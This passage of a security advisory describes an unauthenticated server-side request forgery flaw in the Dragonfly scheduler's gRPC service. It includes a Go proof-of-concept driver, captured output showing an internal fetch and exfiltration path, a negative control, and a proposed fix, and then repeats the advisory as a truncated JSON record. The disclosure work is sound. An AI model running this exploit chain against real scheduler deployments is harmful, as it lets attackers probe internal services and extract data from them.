    transportCredentials, err := rpc.NewServerCredentials(cfg.Server.TLS.CACert, cfg.Server.TLS.Cert, cfg.Server.TLS.Key)
    if err != nil {
        logger.Errorf("failed to create server credentials: %v", err)
        return nil, err
    }

    schedulerServerOptions = append(schedulerServerOptions, grpc.Creds(transportCredentials))
} else {
    // Initialize grpc server without tls.
    schedulerServerOptions = append(schedulerServerOptions, grpc.Creds(rpc.NewInsecureCredentials()))
}

and the v1 handlers RegisterPeerTask / ReportPeerResult are registered with no auth interceptor (pkg/rpc/scheduler/server/server.go:71-90). Any network client can therefore drive the chain RegisterPeerTask -> (TINY task) -> ReportPeerResult -> handlePeerSuccess -> DownloadTinyFile using a PeerHost whose Ip/DownPort point at an internal target.

3) Attacker-supplied host (exactly as storeHost ingests it)

storeHost (service_v1.go:816) constructs the resource host straight from the gRPC PeerHost:

host := resource.NewHost(
    peerHost.Id, peerHost.Ip, peerHost.Hostname, peerHost.Hostname,
    peerHost.RpcPort, peerHost.DownPort, peerHost.ProxyPort, types.HostTypeNormal,
    options...,
)
// later branch:
host.DownloadPort = peerHost.DownPort

DownloadTinyFile then uses p.Host.IP / p.Host.DownloadPort verbatim. The driver below sets these fields exactly as storeHost would for an attacker-supplied PeerHost.Ip = 127.0.0.1, PeerHost.DownPort = <internal port>, then calls the real DownloadTinyFile().

4) Positive-control driver (poc_ssrf/main.go) — drives the real sink

// E2E driver: calls the REAL production sink standard.Peer.DownloadTinyFile()
// with Host.IP/DownloadPort set exactly as service_v1.go storeHost() sets them
// from the attacker-controlled gRPC PeerHost.Ip/DownPort, then reproduces
// handlePeerSuccess() DirectPiece store to prove server-side fetch + exfil.
package main

import (
    "fmt"
    "net"
    "net/http"
    "os"
    "strconv"
    "strings"
    "time"

    commonv2 "d7y.io/api/v2/pkg/apis/common/v2"
    "d7y.io/dragonfly/v2/pkg/types"
    "d7y.io/dragonfly/v2/scheduler/resource/standard"
)

func main() {
    var captured []string
    // Internal-only sentinel bound to loopback: an address an external attacker
    // cannot route to directly. If the scheduler reaches it, that is SSRF.
    ln, err := net.Listen("tcp", "127.0.0.1:0")
    if err != nil {
        panic(err)
    }
    addr := ln.Addr().(*net.TCPAddr)
    sentinelIP := "127.0.0.1"
    sentinelPort := int32(addr.Port)
    payload := []byte("INTERNAL-SECRET-METADATA-abc123") // 31 bytes, <=128 => TINY
    srv := &http.Server{Handler: http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
        line := fmt.Sprintf("%s %s%s | Range=%q peerId=%q Host=%s",
            r.Method, r.URL.Path, ifq(r.URL.RawQuery), r.Header.Get("Range"),
            r.URL.Query().Get("peerId"), r.Host)
        captured = append(captured, line)
        w.Header().Set("Content-Length", strconv.Itoa(len(payload)))
        w.WriteHeader(http.StatusOK)
        w.Write(payload)
    })}
    go srv.Serve(ln)
    time.Sleep(100 * time.Millisecond)
    fmt.Printf("[sentinel] internal listener on %s:%d (loopback, not externally routable)\n", sentinelIP, sentinelPort)

    // Build REAL production resource objects exactly as storeHost() does:
    // host.IP <- peerHost.Ip ; host.DownloadPort <- peerHost.DownPort (attacker-controlled)
    host := standard.NewHost(
        "attacker-peer-id", sentinelIP, "attacker-host", "attacker-host",
        8000, sentinelPort /*downloadPort = peerHost.DownPort*/, 8002,
        types.HostTypeNormal,
    )
    taskID := "deadbeefcafebabedeadbeefcafebabedeadbeefcafebabedeadbeefcafebabe"
    task := standard.NewTask(taskID, "http://example.invalid/tiny", "", "",
        commonv2.TaskType_STANDARD, nil, nil, 0)
    task.ContentLength.Store(int64(len(payload))) // TINY size scope
    peer := standard.NewPeer("attacker-peer", task, host)

    fmt.Printf("[scheduler-resource] SizeScope=%v (TINY=%v) ContentLength=%d\n",
        task.SizeScope(), task.SizeScope() == commonv2.SizeScope_TINY, task.ContentLength.Load())
    fmt.Printf("[scheduler-resource] Host.IP=%s Host.DownloadPort=%d (from gRPC PeerHost.Ip/DownPort)\n",
        host.IP, host.DownloadPort)

    // Invoke the REAL production sink (unmodified upstream code).
    data, err := peer.DownloadTinyFile()
    if err != nil {
        fmt.Printf("[sink] DownloadTinyFile error: %v\n", err)
    }

    // Reproduce handlePeerSuccess DirectPiece store (exfil sink).
    if int64(len(data)) == task.ContentLength.Load() {
        task.DirectPiece = data
    }

    fmt.Printf("\n===== RESULT =====\n")
    fmt.Printf("sentinel captured %d request(s):\n", len(captured))
    for _, l := range captured {
        fmt.Printf("  >>> %s\n", l)
    }
    fmt.Printf("DownloadTinyFile returned %d bytes: %q\n", len(data), string(data))
    fmt.Printf("Task.DirectPiece (exfil-reachable, served to other peers) = %q\n", string(task.DirectPiece))
    if len(captured) > 0 && string(task.DirectPiece) == string(payload) {
        fmt.Println("VERDICT: SSRF CONFIRMED - scheduler fetched attacker-chosen internal target; response stored in DirectPiece")
    } else {
        fmt.Println("VERDICT: no server-side fetch occurred")
    }
    srv.Close()
}

func ifq(q string) string {
    if q == "" {
        return ""
    }
    if strings.HasPrefix(q, "?") {
        return q
    }
    return "?" + q
}

Build and run:

GOFLAGS=-mod=mod go build -o poc_ssrf/driver ./poc_ssrf/
POC_MODE=default-vulnerable-path ./poc_ssrf/driver

5) Captured output (positive control)

[sentinel] internal listener on 127.0.0.1:57710 (loopback, not externally routable)
[scheduler-resource] SizeScope=TINY (TINY=true) ContentLength=31
[scheduler-resource] Host.IP=127.0.0.1 Host.DownloadPort=57710 (from gRPC PeerHost.Ip/DownPort)
INFO standard/peer.go:455 download tiny file http://127.0.0.1:57710/download/dea/deadbeefcafebabedeadbeefcafebabedeadbeefcafebabedeadbeefcafebabe?peerId=attacker-peer, header is : http.Header{"Range":[]string{"bytes=0-30"}}

===== RESULT =====
sentinel captured 1 request(s):
  >>> GET /download/dea/deadbeefcafebabedeadbeefcafebabedeadbeefcafebabedeadbeefcafebabe?peerId=attacker-peer | Range="bytes=0-30" peerId="attacker-peer" Host=127.0.0.1:57710
DownloadTinyFile returned 31 bytes: "INTERNAL-SECRET-METADATA-abc123"
Task.DirectPiece (exfil-reachable, served to other peers) = "INTERNAL-SECRET-METADATA-abc123"
VERDICT: SSRF CONFIRMED - scheduler fetched attacker-chosen internal target; response stored in DirectPiece

The scheduler's own log line confirms it dispatched GET http://127.0.0.1:57710/download/dea/deadbeefcafebabedeadbeefcafebabedeadbeefcafebabedeadbeefcafebabe?peerId=attacker-peer, the internal sentinel captured the request verbatim, and the response body landed in Task.DirectPiece (which is served back to other peers via Task.CanReuseDirectPiece), demonstrating the exfiltration path.

6) Negative control (poc_negctrl/main.go) — the sibling SafeDialer rejects the same targets

This driver applies the manager preheat's own nethttp.NewSafeDialer().DialContext to the identical targets, proving the guard the scheduler path is missing would block them:

package main

import (
    "fmt"
    "net"
    "net/http"
    "time"

    nethttp "d7y.io/dragonfly/v2/pkg/net/http"
)

func tryDial(target string) {
    tr := &http.Transport{DialContext: nethttp.NewSafeDialer().DialContext} // manager preheat transport
    c := &http.Client{Transport: tr, Timeout: 3 * time.Second}
    req, _ := http.NewRequest(http.MethodGet, "http://"+target+"/download/x", nil)
    _, err := c.Do(req)
    if err != nil {
        fmt.Printf("  [SafeDialer] %-24s => BLOCKED: %v\n", target, err)
    } else {
        fmt.Printf("  [SafeDialer] %-24s => ALLOWED (reached)\n", target)
    }
}

func main() {
    ln, _ := net.Listen("tcp", "0.0.0.0:0")
    pubPort := ln.Addr().(*net.TCPAddr).Port
    go http.Serve(ln, http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { w.WriteHeader(200) }))
    time.Sleep(100 * time.Millisecond)
    fmt.Println("Negative control - manager preheat's SafeDialer applied to same targets:")
    tryDial("127.0.0.1:" + fmt.Sprint(pubPort)) // loopback
    tryDial("169.254.169.254:80")                // link-local metadata
    tryDial("10.0.0.1:80")                        // RFC1918
    tryDial("8.8.8.8:80")                         // global unicast
    ln.Close()
}

Output:

Negative control - manager preheat's SafeDialer applied to same targets:
  [SafeDialer] 127.0.0.1:57904          => BLOCKED: dial tcp 127.0.0.1:57904: ip 127.0.0.1 is invalid
  [SafeDialer] 169.254.169.254:80       => BLOCKED: dial tcp 169.254.169.254:80: ip 169.254.169.254 is invalid
  [SafeDialer] 10.0.0.1:80              => BLOCKED: context deadline exceeded (network timeout; Control allows RFC1918)
  [SafeDialer] 8.8.8.8:80               => BLOCKED: context deadline exceeded (network timeout; Control allows global unicast)

safeSocketControl rejects loopback (127.0.0.1) and link-local (169.254.169.254) at the socket-control layer with the errors ip 127.0.0.1 is invalid and ip 169.254.169.254 is invalid respectively. RFC1918 and global-unicast pass socket control (the timeouts are just no network route in the test sandbox). This shows that the manager path blocks the high-value loopback/metadata destinations that the scheduler DownloadTinyFile path reaches unchecked.

7) Patched-build E2E (poc_patched/main.go) — the fix blocks internal, preserves legitimate

This driver reproduces DownloadTinyFile's transport with the proposed fix (DialContext: nethttp.NewSafeDialer().DialContext, parity with manager preheat) and shows internal targets are blocked while a global-unicast target still works:

client := &http.Client{
    Timeout: 5 * time.Second,
    Transport: &http.Transport{
        DialContext:     nethttp.NewSafeDialer().DialContext, // <-- THE FIX
        TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
    },
}

Output:

[patched] host global-unicast IP for positive case: 192.168.1.27

=== PATCHED DownloadTinyFile (SafeDialer applied) ===
  loopback 127.0.0.1:58059        => err=Get "http://127.0.0.1:58059/download/dea/deadbeefcafebabedeadbeefcafebabedeadbeefcafebabedeadbeefcafebabe?peerId=p1": dial tcp 127.0.0.1:58059: ip 127.0.0.1 is invalid bytes=0
  metadata 169.254.169.254:80     => err=Get "http://169.254.169.254:80/download/dea/deadbeefcafebabedeadbeefcafebabedeadbeefcafebabedeadbeefcafebabe?peerId=p2": dial tcp 169.254.169.254:80: ip 169.254.169.254 is invalid bytes=0
  global-unicast 192.168.1.27:58062 => err=<nil> bytes=31 (data="INTERNAL-SECRET-METADATA-abc123")

After the fix, loopback and link-local metadata destinations are rejected, while a legitimate global-unicast peer download still succeeds.

Impact

A remote, unauthenticated attacker who can reach the scheduler's gRPC port can:

  1. Probe internal services for liveness/open ports by observing timing and error differences (blind SSRF) against 127.0.0.1, 169.254.0.0/16, and RFC1918 addresses on ports >= 1024.
  2. Exfiltrate up to TinyFileSize (128) bytes per task from reachable internal HTTP services: the scheduler stores the fetched body in Task.DirectPiece, which is then served to other peers via the direct-piece reuse path.

This is read-SSRF with limited exfiltration, not RCE. The DownPort >= 1024 proto constraint excludes destination port 80 (so a metadata service listening on :80 is not directly reachable), but internal admin/debug/metrics endpoints, loopback services, and container-network services on high ports are reachable.

Patches / Remediation

Apply the same protection the manager preheat path already uses. In DownloadTinyFile (scheduler/resource/standard/peer.go), set the transport's DialContext to nethttp.NewSafeDialer().DialContext so that non-global-unicast destinations (loopback, link-local) are rejected at the socket-control layer:

client := &http.Client{
    Timeout: 30 * time.Second,
    Transport: &http.Transport{
        DialContext:     nethttp.NewSafeDialer().DialContext,
        TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
    },
}

A defense-in-depth complement is to validate peerHost.Ip in storeHost (reject non-global-unicast addresses before storing them on the host), which would also cover other consumers of Host.IP. Note that IsGlobalUnicast() (as used by safeSocketControl) treats RFC1918 addresses as valid; closing internal-private SSRF entirely would require an additional private-range check, which is a pre-existing limitation shared with the manager path and may be out of scope for this fix.

References

  • Sink: https://github.com/dragonflyoss/dragonfly/blob/0822e3aecc3369017d6b25c9441ff6f318129b31/scheduler/resource/standard/peer.go#L435-L478
  • Attacker-controlled host ingestion: https://github.com/dragonflyoss/dragonfly/blob/0822e3aecc3369017d6b25c9441ff6f318129b31/scheduler/service/service_v1.go#L816-L845
  • Trigger (handlePeerSuccess): https://github.com/dragonflyoss/dragonfly/blob/0822e3aecc3369017d6b25c9441ff6f318129b31/scheduler/service/service_v1.go#L1176-L1202
  • Default insecure credentials: https://github.com/dragonflyoss/dragonfly/blob/0822e3aecc3369017d6b25c9441ff6f318129b31/scheduler/scheduler.go#L235-L246
  • gRPC interceptor chain (no auth): https://github.com/dragonflyoss/dragonfly/blob/0822e3aecc3369017d6b25c9441ff6f318129b31/pkg/rpc/scheduler/server/server.go#L71-L90
  • Sibling guard (manager preheat SafeDialer): https://github.com/dragonflyoss/dragonfly/blob/0822e3aecc3369017d6b25c9441ff6f318129b31/internal/job/image.go#L211
  • SafeDialer / safeSocketControl: https://github.com/dragonflyoss/dragonfly/blob/0822e3aecc3369017d6b25c9441ff6f318129b31/pkg/net/http/http.go#L50-L80
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.4.4-rc.2"
      },
      "package": {
        "ecosystem": "Go",
        "name": "d7y.io/dragonfly/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.4.4-rc.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54637"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-06T20:32:33Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe Dragonfly **scheduler**\u0027s v1 gRPC service contains an unauthenticated Server-Side Request Forgery (SSRF). When a peer reports a successful download of a TINY task, the scheduler calls `Peer.DownloadTinyFile()` and issues an HTTP `GET` to a host and port taken verbatim from the attacker-controlled `PeerHost.Ip` / `PeerHost.DownPort` fields of the gRPC request body. The HTTP client uses a bare `http.Transport` with no address validation, so a remote, unauthenticated client can force the scheduler to connect to arbitrary internal addresses, including `127.0.0.1` (loopback), `169.254.0.0/16` (link-local, e.g. cloud metadata), and RFC1918 ranges. The fetched response is stored in `Task.DirectPiece` and can subsequently be served to other peers, making this a read-SSRF with a data-exfiltration path.\n\nThe manager\u0027s preheat code path already wraps its HTTP client with `nethttp.NewSafeDialer()` (which rejects non-global-unicast destinations); the scheduler\u0027s `DownloadTinyFile` path is missing this guard (sibling gap).\n\n## Severity\n\nMedium. The attack requires no authentication (the scheduler gRPC server runs with insecure transport credentials by default and has no auth interceptor), and the destination is fully attacker-controlled. Impact is limited to read-SSRF: blind reachability probing of internal hosts/ports plus exfiltration of up to `TinyFileSize` (128) bytes per task from internal HTTP services into `Task.DirectPiece`. It is not remote code execution, and `PeerHost.DownPort` is constrained by proto validation to `\u003e= 1024`, which excludes destination port 80.\n\n## Affected component\n\n- Repository: `dragonflyoss/dragonfly`\n- Go module: `d7y.io/dragonfly/v2`\n- Component: scheduler, v1 gRPC protocol\n- Affected file: `scheduler/resource/standard/peer.go` (`DownloadTinyFile`), reached via `scheduler/service/service_v1.go` (`storeHost`, `RegisterPeerTask`, `ReportPeerResult`, `handlePeerSuccess`)\n- Verified against: latest release `v2.4.4-rc.2` (commit `0822e3aecc3369017d6b25c9441ff6f318129b31`)\n\n## Description / Root cause\n\nThe scheduler exposes the v1 gRPC service without authentication by default:\n\n- In [`scheduler/scheduler.go` lines 235-246](https://github.com/dragonflyoss/dragonfly/blob/0822e3aecc3369017d6b25c9441ff6f318129b31/scheduler/scheduler.go#L235-L246), mTLS is only configured when `cfg.Server.TLS != nil`; otherwise the server is created with `rpc.NewInsecureCredentials()`.\n- The default configuration produced by [`scheduler/config/config.go` `New()` (line 336)](https://github.com/dragonflyoss/dragonfly/blob/0822e3aecc3369017d6b25c9441ff6f318129b31/scheduler/config/config.go#L336-L355) does not set `Server.TLS`, so the default deployment uses insecure credentials.\n- The gRPC interceptor chain in [`pkg/rpc/scheduler/server/server.go` lines 71-86](https://github.com/dragonflyoss/dragonfly/blob/0822e3aecc3369017d6b25c9441ff6f318129b31/pkg/rpc/scheduler/server/server.go#L71-L86) contains ratelimit, error-conversion, prometheus, zap-logging, validator, and recovery interceptors, but **no authentication interceptor**.\n\nA remote client can therefore invoke `RegisterPeerTask` and `ReportPeerResult` without credentials. The `PeerHost` message carried in the request is consumed by [`storeHost` in `scheduler/service/service_v1.go` lines 816-845](https://github.com/dragonflyoss/dragonfly/blob/0822e3aecc3369017d6b25c9441ff6f318129b31/scheduler/service/service_v1.go#L816-L845), which copies `peerHost.Ip` and `peerHost.DownPort` directly into `resource.Host.IP` and `resource.Host.DownloadPort` with no destination-address restriction. The proto validator only requires `PeerHost.Ip` to be a syntactically valid IP (`net.ParseIP != nil`) and `DownPort` in `[1024, 65535)`; it does not restrict the address to global-unicast, so `127.0.0.1`, `169.254.169.254`, and RFC1918 addresses all pass validation.\n\nWhen the reported peer is a TINY task, [`handlePeerSuccess` lines 1176-1202](https://github.com/dragonflyoss/dragonfly/blob/0822e3aecc3369017d6b25c9441ff6f318129b31/scheduler/service/service_v1.go#L1176-L1202) calls `peer.DownloadTinyFile()` and stores the result in `peer.Task.DirectPiece`. The sink, [`DownloadTinyFile` lines 435-478](https://github.com/dragonflyoss/dragonfly/blob/0822e3aecc3369017d6b25c9441ff6f318129b31/scheduler/resource/standard/peer.go#L435-L478), builds the URL from `net.JoinHostPort(p.Host.IP, p.Host.DownloadPort)` and dispatches it through a bare `http.Transport` (`TLSClientConfig: InsecureSkipVerify: true`) with no `DialContext`/socket control:\n\n```golang\ntargetURL := url.URL{\n    Scheme:   \"http\",\n    Host:     net.JoinHostPort(p.Host.IP, strconv.Itoa(int(p.Host.DownloadPort))),\n    Path:     fmt.Sprintf(\"download/%s/%s\", p.Task.ID[:3], p.Task.ID),\n    RawQuery: fmt.Sprintf(\"peerId=%s\", p.ID),\n}\n\nreq, err := http.NewRequestWithContext(ctx, http.MethodGet, targetURL.String(), nil)\nif err != nil {\n    return []byte{}, err\n}\n\nreq.Header.Set(headers.Range, fmt.Sprintf(\"bytes=%d-%d\", 0, p.Task.ContentLength.Load()-1))\np.Log.Infof(\"download tiny file %s, header is : %#v\", targetURL.String(), req.Header)\n\nclient := \u0026http.Client{\n    Timeout: 30 * time.Second,\n    Transport: \u0026http.Transport{\n        TLSClientConfig: \u0026tls.Config{InsecureSkipVerify: true},\n    },\n}\n\nresp, err := client.Do(req)\n```\n\nBy contrast, the manager\u0027s preheat path in [`internal/job/image.go` line 211](https://github.com/dragonflyoss/dragonfly/blob/0822e3aecc3369017d6b25c9441ff6f318129b31/internal/job/image.go#L211) sets `DialContext: nethttp.NewSafeDialer().DialContext`, and [`safeSocketControl` in `pkg/net/http/http.go` lines 60-80](https://github.com/dragonflyoss/dragonfly/blob/0822e3aecc3369017d6b25c9441ff6f318129b31/pkg/net/http/http.go#L60-L80) rejects any destination where `!ip.IsGlobalUnicast()`. The scheduler `DownloadTinyFile` path is missing this protection.\n\n## Proof of Concept / End-to-end verification\n\nAll three drivers below were built **inside the `d7y.io/dragonfly/v2` module at commit `0822e3aecc3369017d6b25c9441ff6f318129b31` (release v2.4.4-rc.2)**, so they invoke the genuine, unmodified production sink `standard.Peer.DownloadTinyFile()` and the genuine `nethttp.NewSafeDialer()` / `safeSocketControl`. No reimplementation of the sink is used in the positive control.\n\n### 1) Pinned build\n\n```bash\ngit clone --depth 1 --branch v2.4.4-rc.2 \\\n  https://github.com/dragonflyoss/dragonfly.git\ncd dragonfly\ngit rev-parse HEAD     # 0822e3aecc3369017d6b25c9441ff6f318129b31\ngo version             # go1.26.1\n```\n\n### 2) Confirming the deployed scheduler binary is unauthenticated by default\n\nThe scheduler builds and serves the v1 gRPC service with insecure transport credentials when `Server.TLS` is unset (the shipped default). The relevant decision is at `scheduler/scheduler.go:235-246`:\n\n```golang\nif cfg.Server.TLS != nil {\n    // Initialize grpc server with tls.\n    transportCredentials, err := rpc.NewServerCredentials(cfg.Server.TLS.CACert, cfg.Server.TLS.Cert, cfg.Server.TLS.Key)\n    if err != nil {\n        logger.Errorf(\"failed to create server credentials: %v\", err)\n        return nil, err\n    }\n\n    schedulerServerOptions = append(schedulerServerOptions, grpc.Creds(transportCredentials))\n} else {\n    // Initialize grpc server without tls.\n    schedulerServerOptions = append(schedulerServerOptions, grpc.Creds(rpc.NewInsecureCredentials()))\n}\n```\n\nand the v1 handlers `RegisterPeerTask` / `ReportPeerResult` are registered with no auth interceptor (`pkg/rpc/scheduler/server/server.go:71-90`). Any network client can therefore drive the chain `RegisterPeerTask -\u003e (TINY task) -\u003e ReportPeerResult -\u003e handlePeerSuccess -\u003e DownloadTinyFile` using a `PeerHost` whose `Ip`/`DownPort` point at an internal target.\n\n### 3) Attacker-supplied host (exactly as storeHost ingests it)\n\n`storeHost` (service_v1.go:816) constructs the resource host straight from the gRPC `PeerHost`:\n\n```golang\nhost := resource.NewHost(\n    peerHost.Id, peerHost.Ip, peerHost.Hostname, peerHost.Hostname,\n    peerHost.RpcPort, peerHost.DownPort, peerHost.ProxyPort, types.HostTypeNormal,\n    options...,\n)\n// later branch:\nhost.DownloadPort = peerHost.DownPort\n```\n\n`DownloadTinyFile` then uses `p.Host.IP` / `p.Host.DownloadPort` verbatim. The driver below sets these fields exactly as `storeHost` would for an attacker-supplied `PeerHost.Ip = 127.0.0.1`, `PeerHost.DownPort = \u003cinternal port\u003e`, then calls the real `DownloadTinyFile()`.\n\n### 4) Positive-control driver (`poc_ssrf/main.go`) \u2014 drives the real sink\n\n```golang\n// E2E driver: calls the REAL production sink standard.Peer.DownloadTinyFile()\n// with Host.IP/DownloadPort set exactly as service_v1.go storeHost() sets them\n// from the attacker-controlled gRPC PeerHost.Ip/DownPort, then reproduces\n// handlePeerSuccess() DirectPiece store to prove server-side fetch + exfil.\npackage main\n\nimport (\n    \"fmt\"\n    \"net\"\n    \"net/http\"\n    \"os\"\n    \"strconv\"\n    \"strings\"\n    \"time\"\n\n    commonv2 \"d7y.io/api/v2/pkg/apis/common/v2\"\n    \"d7y.io/dragonfly/v2/pkg/types\"\n    \"d7y.io/dragonfly/v2/scheduler/resource/standard\"\n)\n\nfunc main() {\n    var captured []string\n    // Internal-only sentinel bound to loopback: an address an external attacker\n    // cannot route to directly. If the scheduler reaches it, that is SSRF.\n    ln, err := net.Listen(\"tcp\", \"127.0.0.1:0\")\n    if err != nil {\n        panic(err)\n    }\n    addr := ln.Addr().(*net.TCPAddr)\n    sentinelIP := \"127.0.0.1\"\n    sentinelPort := int32(addr.Port)\n    payload := []byte(\"INTERNAL-SECRET-METADATA-abc123\") // 31 bytes, \u003c=128 =\u003e TINY\n    srv := \u0026http.Server{Handler: http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n        line := fmt.Sprintf(\"%s %s%s | Range=%q peerId=%q Host=%s\",\n            r.Method, r.URL.Path, ifq(r.URL.RawQuery), r.Header.Get(\"Range\"),\n            r.URL.Query().Get(\"peerId\"), r.Host)\n        captured = append(captured, line)\n        w.Header().Set(\"Content-Length\", strconv.Itoa(len(payload)))\n        w.WriteHeader(http.StatusOK)\n        w.Write(payload)\n    })}\n    go srv.Serve(ln)\n    time.Sleep(100 * time.Millisecond)\n    fmt.Printf(\"[sentinel] internal listener on %s:%d (loopback, not externally routable)\\n\", sentinelIP, sentinelPort)\n\n    // Build REAL production resource objects exactly as storeHost() does:\n    // host.IP \u003c- peerHost.Ip ; host.DownloadPort \u003c- peerHost.DownPort (attacker-controlled)\n    host := standard.NewHost(\n        \"attacker-peer-id\", sentinelIP, \"attacker-host\", \"attacker-host\",\n        8000, sentinelPort /*downloadPort = peerHost.DownPort*/, 8002,\n        types.HostTypeNormal,\n    )\n    taskID := \"deadbeefcafebabedeadbeefcafebabedeadbeefcafebabedeadbeefcafebabe\"\n    task := standard.NewTask(taskID, \"http://example.invalid/tiny\", \"\", \"\",\n        commonv2.TaskType_STANDARD, nil, nil, 0)\n    task.ContentLength.Store(int64(len(payload))) // TINY size scope\n    peer := standard.NewPeer(\"attacker-peer\", task, host)\n\n    fmt.Printf(\"[scheduler-resource] SizeScope=%v (TINY=%v) ContentLength=%d\\n\",\n        task.SizeScope(), task.SizeScope() == commonv2.SizeScope_TINY, task.ContentLength.Load())\n    fmt.Printf(\"[scheduler-resource] Host.IP=%s Host.DownloadPort=%d (from gRPC PeerHost.Ip/DownPort)\\n\",\n        host.IP, host.DownloadPort)\n\n    // Invoke the REAL production sink (unmodified upstream code).\n    data, err := peer.DownloadTinyFile()\n    if err != nil {\n        fmt.Printf(\"[sink] DownloadTinyFile error: %v\\n\", err)\n    }\n\n    // Reproduce handlePeerSuccess DirectPiece store (exfil sink).\n    if int64(len(data)) == task.ContentLength.Load() {\n        task.DirectPiece = data\n    }\n\n    fmt.Printf(\"\\n===== RESULT =====\\n\")\n    fmt.Printf(\"sentinel captured %d request(s):\\n\", len(captured))\n    for _, l := range captured {\n        fmt.Printf(\"  \u003e\u003e\u003e %s\\n\", l)\n    }\n    fmt.Printf(\"DownloadTinyFile returned %d bytes: %q\\n\", len(data), string(data))\n    fmt.Printf(\"Task.DirectPiece (exfil-reachable, served to other peers) = %q\\n\", string(task.DirectPiece))\n    if len(captured) \u003e 0 \u0026\u0026 string(task.DirectPiece) == string(payload) {\n        fmt.Println(\"VERDICT: SSRF CONFIRMED - scheduler fetched attacker-chosen internal target; response stored in DirectPiece\")\n    } else {\n        fmt.Println(\"VERDICT: no server-side fetch occurred\")\n    }\n    srv.Close()\n}\n\nfunc ifq(q string) string {\n    if q == \"\" {\n        return \"\"\n    }\n    if strings.HasPrefix(q, \"?\") {\n        return q\n    }\n    return \"?\" + q\n}\n```\n\nBuild and run:\n\n```bash\nGOFLAGS=-mod=mod go build -o poc_ssrf/driver ./poc_ssrf/\nPOC_MODE=default-vulnerable-path ./poc_ssrf/driver\n```\n\n### 5) Captured output (positive control)\n\n```\n[sentinel] internal listener on 127.0.0.1:57710 (loopback, not externally routable)\n[scheduler-resource] SizeScope=TINY (TINY=true) ContentLength=31\n[scheduler-resource] Host.IP=127.0.0.1 Host.DownloadPort=57710 (from gRPC PeerHost.Ip/DownPort)\nINFO standard/peer.go:455 download tiny file http://127.0.0.1:57710/download/dea/deadbeefcafebabedeadbeefcafebabedeadbeefcafebabedeadbeefcafebabe?peerId=attacker-peer, header is : http.Header{\"Range\":[]string{\"bytes=0-30\"}}\n\n===== RESULT =====\nsentinel captured 1 request(s):\n  \u003e\u003e\u003e GET /download/dea/deadbeefcafebabedeadbeefcafebabedeadbeefcafebabedeadbeefcafebabe?peerId=attacker-peer | Range=\"bytes=0-30\" peerId=\"attacker-peer\" Host=127.0.0.1:57710\nDownloadTinyFile returned 31 bytes: \"INTERNAL-SECRET-METADATA-abc123\"\nTask.DirectPiece (exfil-reachable, served to other peers) = \"INTERNAL-SECRET-METADATA-abc123\"\nVERDICT: SSRF CONFIRMED - scheduler fetched attacker-chosen internal target; response stored in DirectPiece\n```\n\nThe scheduler\u0027s own log line confirms it dispatched `GET http://127.0.0.1:57710/download/dea/deadbeefcafebabedeadbeefcafebabedeadbeefcafebabedeadbeefcafebabe?peerId=attacker-peer`, the internal sentinel captured the request verbatim, and the response body landed in `Task.DirectPiece` (which is served back to other peers via `Task.CanReuseDirectPiece`), demonstrating the exfiltration path.\n\n### 6) Negative control (`poc_negctrl/main.go`) \u2014 the sibling SafeDialer rejects the same targets\n\nThis driver applies the manager preheat\u0027s own `nethttp.NewSafeDialer().DialContext` to the identical targets, proving the guard the scheduler path is missing would block them:\n\n```golang\npackage main\n\nimport (\n    \"fmt\"\n    \"net\"\n    \"net/http\"\n    \"time\"\n\n    nethttp \"d7y.io/dragonfly/v2/pkg/net/http\"\n)\n\nfunc tryDial(target string) {\n    tr := \u0026http.Transport{DialContext: nethttp.NewSafeDialer().DialContext} // manager preheat transport\n    c := \u0026http.Client{Transport: tr, Timeout: 3 * time.Second}\n    req, _ := http.NewRequest(http.MethodGet, \"http://\"+target+\"/download/x\", nil)\n    _, err := c.Do(req)\n    if err != nil {\n        fmt.Printf(\"  [SafeDialer] %-24s =\u003e BLOCKED: %v\\n\", target, err)\n    } else {\n        fmt.Printf(\"  [SafeDialer] %-24s =\u003e ALLOWED (reached)\\n\", target)\n    }\n}\n\nfunc main() {\n    ln, _ := net.Listen(\"tcp\", \"0.0.0.0:0\")\n    pubPort := ln.Addr().(*net.TCPAddr).Port\n    go http.Serve(ln, http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { w.WriteHeader(200) }))\n    time.Sleep(100 * time.Millisecond)\n    fmt.Println(\"Negative control - manager preheat\u0027s SafeDialer applied to same targets:\")\n    tryDial(\"127.0.0.1:\" + fmt.Sprint(pubPort)) // loopback\n    tryDial(\"169.254.169.254:80\")                // link-local metadata\n    tryDial(\"10.0.0.1:80\")                        // RFC1918\n    tryDial(\"8.8.8.8:80\")                         // global unicast\n    ln.Close()\n}\n```\n\nOutput:\n\n```\nNegative control - manager preheat\u0027s SafeDialer applied to same targets:\n  [SafeDialer] 127.0.0.1:57904          =\u003e BLOCKED: dial tcp 127.0.0.1:57904: ip 127.0.0.1 is invalid\n  [SafeDialer] 169.254.169.254:80       =\u003e BLOCKED: dial tcp 169.254.169.254:80: ip 169.254.169.254 is invalid\n  [SafeDialer] 10.0.0.1:80              =\u003e BLOCKED: context deadline exceeded (network timeout; Control allows RFC1918)\n  [SafeDialer] 8.8.8.8:80               =\u003e BLOCKED: context deadline exceeded (network timeout; Control allows global unicast)\n```\n\n`safeSocketControl` rejects loopback (`127.0.0.1`) and link-local (`169.254.169.254`) at the socket-control layer with the errors `ip 127.0.0.1 is invalid` and `ip 169.254.169.254 is invalid` respectively. RFC1918 and global-unicast pass socket control (the timeouts are just no network route in the test sandbox). This shows that the manager path blocks the high-value loopback/metadata destinations that the scheduler `DownloadTinyFile` path reaches unchecked.\n\n### 7) Patched-build E2E (`poc_patched/main.go`) \u2014 the fix blocks internal, preserves legitimate\n\nThis driver reproduces `DownloadTinyFile`\u0027s transport with the proposed fix (`DialContext: nethttp.NewSafeDialer().DialContext`, parity with manager preheat) and shows internal targets are blocked 